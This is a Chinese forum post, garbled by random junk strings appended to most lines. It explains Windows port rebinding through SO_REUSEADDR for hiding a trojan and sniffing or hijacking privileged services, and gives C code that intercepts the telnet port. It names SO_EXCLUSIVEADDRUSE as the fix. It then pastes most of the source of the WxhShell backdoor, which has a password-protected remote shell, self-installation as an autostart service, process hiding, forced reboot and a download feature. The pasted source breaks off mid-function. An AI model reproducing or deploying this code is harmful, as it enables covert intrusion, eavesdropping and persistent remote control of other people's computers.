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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: qS*qHT(u19  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y'*^ '  
8TD:~ee  
  saddr.sin_family = AF_INET; dMCV !$  
/P<RYA~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~#h@.yW^JN  
R4 ;^R  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =7e~L 3 K  
v2gK(&?  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I5wf|wB-  
ba1zu|@w  
  这意味着什么?意味着可以进行如下的攻击: \kF}E3~+#  
 MScjq  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2.p7fu  
`E8m> q Ss  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }at8b ^  
q*{i/=~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Bbz#$M!:  
z `T<g!Y  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _FeLSk.  
?=dyU(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 4};iL)  
c|X.&<lX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8iB1a6TlL  
z2i?7)(?;A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y)t< r  
O _yJR  
  #include f]^(|*6  
  #include F2:+i#lE  
  #include QKL5! L9`  
  #include    \S[:  
  DWORD WINAPI ClientThread(LPVOID lpParam);    e-sMU  
  int main() YT+fOndjaF  
  { FTI[YR8?Y  
  WORD wVersionRequested; E}-Y@( [  
  DWORD ret; afqLTWU S  
  WSADATA wsaData; ^2mmgN   
  BOOL val; 5u'"m<4  
  SOCKADDR_IN saddr; :O-Y67>&  
  SOCKADDR_IN scaddr; 3v :PBmE  
  int err; { xi$'r  
  SOCKET s; SouPk/-B80  
  SOCKET sc; ~P 1(%FZ  
  int caddsize; G#ZU^%$M,  
  HANDLE mt; 3+u11'0=t  
  DWORD tid;   [?r`8K2!,  
  wVersionRequested = MAKEWORD( 2, 2 ); $xNM^O  
  err = WSAStartup( wVersionRequested, &wsaData ); \CM/KrCR  
  if ( err != 0 ) { {-2I^Ym 5i  
  printf("error!WSAStartup failed!\n"); fKY6stJE  
  return -1; dms R>Q  
  } C|5eV=f)P  
  saddr.sin_family = AF_INET; ` :eXXE  
   1Y$ gt  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6AKH0t|4  
"1$OPt5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Q9tBHz  
  saddr.sin_port = htons(23); rY4{,4V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B4bC6$Lg  
  { 8fKt6T  
  printf("error!socket failed!\n"); U2\g Kg[-Q  
  return -1; G&)A7WaC  
  } <]eWr:;  
  val = TRUE; ;f#%0W{":  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 GKu@8Ol-wu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >0~|iRySi  
  { h-+9Bv]  
  printf("error!setsockopt failed!\n"); !FX0Nx=oi  
  return -1; d@#!,P5 `  
  } Rx<m+=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AWsO? |YT  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !*HH5qh6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *kY\,r&!P  
sXDS_Q  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0%+S@_|  
  { 58\Rl  
  ret=GetLastError(); FPE[}  
  printf("error!bind failed!\n"); /.9j$iK#  
  return -1; X|^E+ `M4  
  } 7(rNJPrU~=  
  listen(s,2); tsVQXvo  
  while(1) f=]+\0MQ  
  { /{vv n  
  caddsize = sizeof(scaddr); qqA(Swe)T  
  //接受连接请求 qL.1N~$2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )XV|D  
  if(sc!=INVALID_SOCKET) \W=~@k  
  { `9E:V=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3TVp oB`  
  if(mt==NULL) 6My=GByC  
  { Pz7{dQqjk#  
  printf("Thread Creat Failed!\n"); :IlRn`9X`  
  break; vh5`R/<3  
  } A;7p  
  } {XH!`\  
  CloseHandle(mt); 1wP#?p)c  
  } =cI -<0QSn  
  closesocket(s); S&_Z,mT./  
  WSACleanup(); GjN/8>/  
  return 0; *yKw@@d+p  
  }   & 9}L +/,  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4scY 8(1  
  { /?uA{/8  
  SOCKET ss = (SOCKET)lpParam; iU"jV*P]  
  SOCKET sc; KI)jP((  
  unsigned char buf[4096]; (8qD'(@  
  SOCKADDR_IN saddr; WP[h@#7<  
  long num; 2k;>nlVxX  
  DWORD val; mR U-M|  
  DWORD ret; ,<R/jHZP9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0t[|3A~Q  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x>:~=#Vi  
  saddr.sin_family = AF_INET; vVB8zS~l ,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Qz)1wf'y  
  saddr.sin_port = htons(23); JAJo^}}{b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,{==f7|w  
  { >a/]8A  
  printf("error!socket failed!\n"); q-gp;Fm  
  return -1; h&@ A'om~  
  } L A &W@  
  val = 100; L c4\i  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .<&o,D  
  { Ey<vvZ  
  ret = GetLastError(); q2 K@i*s  
  return -1; JrlDTNJj'  
  } #tX\m ;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S. my" j  
  { _RI`I}&9Z  
  ret = GetLastError(); q)0?aL  
  return -1; ?^I\e{),c  
  } N fe  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !bs{/?  
  { RW| LL@r  
  printf("error!socket connect failed!\n"); Sl,X*[HGd  
  closesocket(sc); M~% ~y`D^  
  closesocket(ss); yF2|w=!  
  return -1; `w/:o$&  
  } v:/+Oz Y  
  while(1) .}IxZM[}D  
  { @CGci lS=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C1w~z4Qp  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *Iy5 V7`KU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ' cM2]<  
  num = recv(ss,buf,4096,0); tFlLKziU  
  if(num>0) '"u>;Bq  
  send(sc,buf,num,0);  l Ozi|  
  else if(num==0) iA*^`NMaT  
  break; /$ a>f>EJ  
  num = recv(sc,buf,4096,0); uu0"k<Tp  
  if(num>0) 2?vjj:P+h  
  send(ss,buf,num,0); NQB a+N  
  else if(num==0) F3d: W:^_  
  break; j"G1D-S:  
  } XS:W{tL!  
  closesocket(ss); 7b>FqW)%  
  closesocket(sc); ":=\ ci]e%  
  return 0 ; tYb8a  
  } 6<aZr\Ufg  
poLzgd  
`N;}Gf-'  
========================================================== yC%zX}5  
,q9nHZG^  
下边附上一个代码,,WXhSHELL [/Q .MmnL  
FXLY*eRk  
========================================================== Vo1,{"k  
d_t>  
#include "stdafx.h" 4Js2/s  
8&[Lr o9  
#include <stdio.h> dyH<D5  
#include <string.h> 9, A(|g  
#include <windows.h> 7Iz%Jty  
#include <winsock2.h> ;4(ULJ*  
#include <winsvc.h> "gt-bo.,  
#include <urlmon.h> WG~|sLg  
ub/Z'!  
#pragma comment (lib, "Ws2_32.lib") %E<.\\^%  
#pragma comment (lib, "urlmon.lib") qg7qTF&   
h=?V)WSM  
#define MAX_USER   100 // 最大客户端连接数 Rgstk/1  
#define BUF_SOCK   200 // sock buffer Z<_"Tk;!',  
#define KEY_BUFF   255 // 输入 buffer ]|H`?L  
8|]r>L$Wk  
#define REBOOT     0   // 重启 tW^oa  
#define SHUTDOWN   1   // 关机 @=i- *U  
sxG8 jD  
#define DEF_PORT   5000 // 监听端口 uUhqj.::<Y  
\,n|V3#G  
#define REG_LEN     16   // 注册表键长度 /z=xEnU#  
#define SVC_LEN     80   // NT服务名长度  w^Mj[v#  
Gy;>.:n  
// 从dll定义API &*Sgyk o`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9+irf^D`O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kdgU1T@y.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VL =19[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]VKM3[   
,0hk)Vvr3  
// wxhshell配置信息 Gt4/ax:A@  
struct WSCFG { z_i (o  
  int ws_port;         // 监听端口 D,3Kx ^  
  char ws_passstr[REG_LEN]; // 口令 %>];F~z  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~nP~6Q'wSH  
  char ws_regname[REG_LEN]; // 注册表键名 W?>C$_p C  
  char ws_svcname[REG_LEN]; // 服务名 a- \M)}T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z`Jcpt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AfAlDM'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )7aUDsu>4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &b__ /o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '3i,^g0?t0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mBwM=LAZ  
&g;&=<#I  
}; X[SdDYMY  
U}yq*$N  
// default Wxhshell configuration ~cf*Oq  
struct WSCFG wscfg={DEF_PORT, ]\JLlQ}#H  
    "xuhuanlingzhe", -$ VP#%  
    1, ia9=&Hy])  
    "Wxhshell", _\2Ae\&c  
    "Wxhshell", mhNX05D  
            "WxhShell Service", ron-v"!  
    "Wrsky Windows CmdShell Service", **G5fS.^W  
    "Please Input Your Password: ", M1mx{<]A  
  1, Nc da~h Q  
  "http://www.wrsky.com/wxhshell.exe", '5)PYjMnH  
  "Wxhshell.exe" MwuRxeRO-  
    }; A3 uF 0A  
u\y$<  
// 消息定义模块 _'*Vcu`Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IDY2X+C#U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m ?e::W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; )ep1`n-  
char *msg_ws_ext="\n\rExit."; 94}y,\S~  
char *msg_ws_end="\n\rQuit."; Pf:;iXH?  
char *msg_ws_boot="\n\rReboot..."; 8}?w i[T  
char *msg_ws_poff="\n\rShutdown..."; v[2N-  
char *msg_ws_down="\n\rSave to "; `DFo:w!k  
<-h[I&."  
char *msg_ws_err="\n\rErr!"; 5$?)f&M  
char *msg_ws_ok="\n\rOK!"; J*Q+$Ai~  
KU=+ 1,Jf  
char ExeFile[MAX_PATH]; t?(fDWd|-  
int nUser = 0; <\'aUfF v  
HANDLE handles[MAX_USER]; xxQgX~'x  
int OsIsNt; =T-jG_.H  
r [E4/?_  
SERVICE_STATUS       serviceStatus; 1KadT7<0}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; S]Qf p,  
ri1;i= W  
// 函数声明 s/0bXM$^  
int Install(void); 6pdek3pOCt  
int Uninstall(void); RI3GAd  
int DownloadFile(char *sURL, SOCKET wsh); i)!+`w*Y  
int Boot(int flag); [9;[g~;E%m  
void HideProc(void); GboZ T68  
int GetOsVer(void); ,ll<0Atg  
int Wxhshell(SOCKET wsl); rNoCmNm  
void TalkWithClient(void *cs); moD)^':.  
int CmdShell(SOCKET sock); $Xr4=9(|7  
int StartFromService(void); +7 mUX  
int StartWxhshell(LPSTR lpCmdLine); 6ltV}Wt-  
J(Fk@{!F.*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =lmelo#m&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v:gdG|n"  
"H\R*\-0  
// 数据结构和表定义 iLO,XW?d v  
SERVICE_TABLE_ENTRY DispatchTable[] = " V4@nv  
{ 8wLGmv^  
{wscfg.ws_svcname, NTServiceMain}, 8 +mW  
{NULL, NULL} JYR^k=  
}; +TC##}Zmb  
8K9RA<  
// 自我安装 #('GGzL6c  
int Install(void) J6mUU3F9f  
{ s[;1?+EI  
  char svExeFile[MAX_PATH]; p:ubj'(U05  
  HKEY key; ;qs^+  
  strcpy(svExeFile,ExeFile); ~IFafAO&  
4xF}rm  
// 如果是win9x系统,修改注册表设为自启动 5Y>fVq{U?;  
if(!OsIsNt) { n(9$)B_y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ui80}%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DFQ`<r&!  
  RegCloseKey(key); Jow{7@FG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F8xu&Vk0:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MM*9Q`cB  
  RegCloseKey(key); kvN<o-B  
  return 0; w19OOD  
    } R(s[JH(&  
  } {8556>\~  
} kbSl.V%)  
else { n5Mhp:zc,  
`o0ISJeKp  
// 如果是NT以上系统,安装为系统服务 kyf(V)APPu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XEUS)X)  
if (schSCManager!=0) 5O~;^0iC  
{ Ckhw d  
  SC_HANDLE schService = CreateService Y=@iD\u  
  ( k- exqM2x=  
  schSCManager, W~5gTiBZ]  
  wscfg.ws_svcname, qE.3:bQ!`  
  wscfg.ws_svcdisp, tILnD1q  
  SERVICE_ALL_ACCESS, %reW/;)l{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zVis"g`  
  SERVICE_AUTO_START, uT Y G/O  
  SERVICE_ERROR_NORMAL, Ky*xAx:  
  svExeFile, .uB[zJc  
  NULL, hVdGxT]6  
  NULL, !Pu7%nV.  
  NULL, -|P7e  
  NULL, !iAZEOkRR  
  NULL Pr,C)uch  
  ); P0rdGf 5T  
  if (schService!=0) (L!u[e0[#  
  { N6v*X+4JH  
  CloseServiceHandle(schService); #fF D|q  
  CloseServiceHandle(schSCManager); eGUe#(I /  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \}Kad\)  
  strcat(svExeFile,wscfg.ws_svcname); m|[cEZxHB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r#d]"3tH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <)+;Bg  
  RegCloseKey(key); ;1k_J~Qei  
  return 0; OA7=kH@3c  
    } 2|`~3B)#  
  } sA }X)aP  
  CloseServiceHandle(schSCManager); qJ$S3B  
} y*8;T v|  
} 6wb M$|yFj  
}dSFv   
return 1; {XW>3 "  
} 0.#% KfQ  
,88%eX|  
// 自我卸载 7>gW2 m  
int Uninstall(void) II.Wa&w}  
{ k,y#|bf,Y  
  HKEY key; .>'J ^^  
UHDcheeRD  
if(!OsIsNt) { /Wy9 ".  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]xhH:kW4  
  RegDeleteValue(key,wscfg.ws_regname); obw:@i#  
  RegCloseKey(key); V.[b${  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DE?@8k  
  RegDeleteValue(key,wscfg.ws_regname); QYWl`Yqf  
  RegCloseKey(key); [{J1b  
  return 0; }80n5 X<9  
  } !p)cP"fa  
} hflDVGBW  
} Kw>gg  
else { t;[Q&Jl  
p-/}@r3Z+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 73M;-qnU  
if (schSCManager!=0) ^N~Jm&I  
{ *c@]c~hY,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _[ `"E'  
  if (schService!=0) .sUL5`  
  { NO#^_N`#\  
  if(DeleteService(schService)!=0) { U3w*z6OG  
  CloseServiceHandle(schService); ,qlFk|A|  
  CloseServiceHandle(schSCManager); 1z[blNs&  
  return 0; >2)!w  
  } I3?:KVa  
  CloseServiceHandle(schService); ~0n9In%  
  } {XYf"ONi  
  CloseServiceHandle(schSCManager); Vs[!WJ 7  
} !Jo.Un7  
} QLTE`t5w3'  
W&^2Fb  
return 1; yDw^xGws  
} # /pZ#ny  
jdVdz,Y  
// 从指定url下载文件 o6;VrpaNi  
int DownloadFile(char *sURL, SOCKET wsh) &nZ.$UK<  
{  ,#-^  
  HRESULT hr; z9KsSlS ^  
char seps[]= "/"; 0 .p $q  
char *token; o r]s  
char *file; %n #^#:   
char myURL[MAX_PATH]; 6_a.`ehtj<  
char myFILE[MAX_PATH]; "i*Gi \U  
8|,-P=%t  
strcpy(myURL,sURL); v6?<)M%  
  token=strtok(myURL,seps); :Zd# }P  
  while(token!=NULL) >Y/1%Hp9  
  { ]H<C Rw  
    file=token;  ?hpk)Qu  
  token=strtok(NULL,seps); kL qFh<  
  } <`m.Vbvm"  
'C*NyHc  
GetCurrentDirectory(MAX_PATH,myFILE); IN]bAd8"  
strcat(myFILE, "\\"); )O%lh 8fI  
strcat(myFILE, file); |wj/lX7y  
  send(wsh,myFILE,strlen(myFILE),0); 9P)<CD0  
send(wsh,"...",3,0); )u&_}6z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); efP2 C\  
  if(hr==S_OK) w02HSQ  
return 0; ;7<a0HZ5!  
else Dl/_jM  
return 1; UwQ3q  
et]*5Y6  
} \>/:@4oK  
Sb[rSczS~  
// 系统电源模块 7\U1K^q  
int Boot(int flag) (A &@ <  
{ ~K],hi^<P  
  HANDLE hToken; TJ5{Ee GV  
  TOKEN_PRIVILEGES tkp; |/lIasI  
p N]Hp"v  
  if(OsIsNt) { MgMLfgt"V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Pjb9FCA'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7RD` *s  
    tkp.PrivilegeCount = 1; nZ7v9o9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,em6wIq,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $'FPst8Q<  
if(flag==REBOOT) { ,n!xzoX_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Yhw* `"X  
  return 0; r rwsj`  
} 3Ob"r`  
else { \ bT]?.si  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) JcVq%~ {M  
  return 0; $=m17GD  
} 5!ReW39c ;  
  } 47K5[R  
  else { dju&Ku  
if(flag==REBOOT) { NxX1_d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wD,F=O  
  return 0; j'J*QK&Q  
} MM8)yCI  
else { My`%gP~%g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YKc{P"'/ |  
  return 0; eu:_V+  
} 0\~Zg  
} +tN-X'u##  
6HqK%(  
return 1; d<3"$%C  
} \%Smp2K  
^c7L!F  
// win9x进程隐藏模块 Nb9pdkf0  
void HideProc(void) er#=xqUY  
{ jw[`_  
9,c>H6R7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YaT07X.(b  
  if ( hKernel != NULL ) M1M]]fT0ME  
  { /(0d{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fIcv}Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r4lG 5dV  
    FreeLibrary(hKernel); \~H"!vj  
  } :gVjBF2  
vPs X!m[#  
return; ?hu 9c  
} `3:%F>  
%% >?<4t  
// 获取操作系统版本 F3'X  
int GetOsVer(void)  ~EM];i  
{ -ur]k]R  
  OSVERSIONINFO winfo; ,'673PR  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h5gXYmk  
  GetVersionEx(&winfo); W*m[t&;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /YbL{G )j}  
  return 1; E)E!  
  else w8i!Qi#y5D  
  return 0; Z%R%D*f@y  
} Z9D4;1  
Vel;t<1  
// 客户端句柄模块 7GUJ&U) J  
int Wxhshell(SOCKET wsl) !tdfTf$  
{ M5V1j(URE  
  SOCKET wsh; $OD5t5eTsM  
  struct sockaddr_in client; & B4U)  
  DWORD myID; z Y|g#V-  
z)~!G~J]  
  while(nUser<MAX_USER) >cNXB7]E>  
{ \PONaRK|[z  
  int nSize=sizeof(client); u3:Qt2^S  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k#(cZ  
  if(wsh==INVALID_SOCKET) return 1; `[\phv  
#0D.37R+k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w0!,1 Ry  
if(handles[nUser]==0) S\ZAcz4  
  closesocket(wsh); SA1/U  
else d/>,U7eS[+  
  nUser++; Fzs'@*  
  } JY+[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DV\ei")  
eLny-.i ,7  
  return 0; 2&fwr>!$  
} i 8Xz  
e;5Lv9?C8  
// 关闭 socket NR&9:?  
void CloseIt(SOCKET wsh) l%(`<a]VIB  
{ \cP'#jZz  
closesocket(wsh); EiN)TB^]  
nUser--; +[ /r^C  
ExitThread(0); f](uc(8Z  
} &R*5;/ !  
t1{}-JlA  
// 客户端请求句柄 Te}yQ=+  
void TalkWithClient(void *cs) [B3aRi0AQ  
{ QCfpDE}  
bTGK@~  
  SOCKET wsh=(SOCKET)cs; \{zAX~k6  
  char pwd[SVC_LEN]; XFTMT'9  
  char cmd[KEY_BUFF]; Gc!8v}[7J  
char chr[1]; j(C UYm  
int i,j; (iOCzZ6S  
MW~B[%/  
  while (nUser < MAX_USER) { :wZ`>,K"t>  
5MY}(w  
if(wscfg.ws_passstr) { Cw&D}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i:M*L< +  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #pQ"+X  
  //ZeroMemory(pwd,KEY_BUFF); FP'lEp  
      i=0; pEj^x[b`^  
  while(i<SVC_LEN) { Z/= %J3f  
rHgdvDc  
  // 设置超时 qf`xH"$  
  fd_set FdRead; |;9 A{#zM  
  struct timeval TimeOut; #2R%H.*t  
  FD_ZERO(&FdRead); zk'K.! `^  
  FD_SET(wsh,&FdRead); 2{B(j&{  
  TimeOut.tv_sec=8; 4ylDD|) rO  
  TimeOut.tv_usec=0; C<t'f(4s`u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8J3@VD.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +1Rr kok  
^I<T+X+<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j8Q5d`  
  pwd=chr[0]; #;LMtDaL  
  if(chr[0]==0xd || chr[0]==0xa) { Cz@FZb8  
  pwd=0; plx/}ah8  
  break; M2E87w  
  } $7n#\h  
  i++; 2K rqY  
    } 4^[}]'w  
afF+*\xXN  
  // 如果是非法用户,关闭 socket PIEW\i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (#B^Hyz!  
} 9;]wF8h  
. z$Sm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P"9@8aLB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); { w8 !K  
xw+<p  
while(1) { )'!ml  
:-u-hO5*8  
  ZeroMemory(cmd,KEY_BUFF); 60,-\h  
}-{b$6]  
      // 自动支持客户端 telnet标准   ";_K x={  
  j=0; K)Zkj"y  
  while(j<KEY_BUFF) { &cu] vw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L)/6kt=  
  cmd[j]=chr[0]; o'^;tLs15  
  if(chr[0]==0xa || chr[0]==0xd) { i9;27tT~<  
  cmd[j]=0; mC:X4l]5  
  break; p584)"[*t  
  } 0n*rs=\VG  
  j++; kQwm"Z  
    } ?UZ$bz  
7~ *;=,mw  
  // 下载文件 2~M;L&9-  
  if(strstr(cmd,"http://")) { AJ\VY;m7F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mNx,L+ 3  
  if(DownloadFile(cmd,wsh)) }0BL0N`_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i$[,-4 v  
  else 3q#"i&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8B*E+f0  
  } VR4E 2^  
  else { 3s?v(1 {)  
"u<jbD  
    switch(cmd[0]) { <Spr6U9p7  
  E 4='m  
  // 帮助 JlC<MQ?  
  case '?': { l5=u3r9WYC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DYo<5^0  
    break; PyC;f8n'(  
  } pxw{  
  // 安装 oUQGLl!V  
  case 'i': { b&=]S(  
    if(Install()) #"Eks79s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DC|xilP1O  
    else $yDW.pt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7$+P|U  
    break; m x3}m?WQ  
    } Cq?',QU6j  
  // 卸载 u}Ei_ O<z  
  case 'r': { u?q&K|  
    if(Uninstall()) v7 8&[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5mI?pfm  
    else >"cr-LB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 09R,'QJ|  
    break; Z$!C=  
    } OM20-KDc5  
  // 显示 wxhshell 所在路径 v[R_S  
  case 'p': { _&W0e}4  
    char svExeFile[MAX_PATH]; iD%qy/I/  
    strcpy(svExeFile,"\n\r"); '1CD- Bu  
      strcat(svExeFile,ExeFile); z@!^ow)`J  
        send(wsh,svExeFile,strlen(svExeFile),0); `GvA241  
    break; [urH a  
    } 3AvVU]@&Z@  
  // 重启 4-y6MH  
  case 'b': { d@-wi%,^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +jp|Y?6Z  
    if(Boot(REBOOT)) `Uz s+k-]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3hc#FmLr2b  
    else { }US7 N w  
    closesocket(wsh); ]ddHA  
    ExitThread(0); U+4HG  
    } HS{P?~:=U  
    break; &nQRa?3,   
    } 54=}GnZN  
  // 关机 -"F0eV+y  
  case 'd': { 65lOX$*{-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XDHLEG-u(  
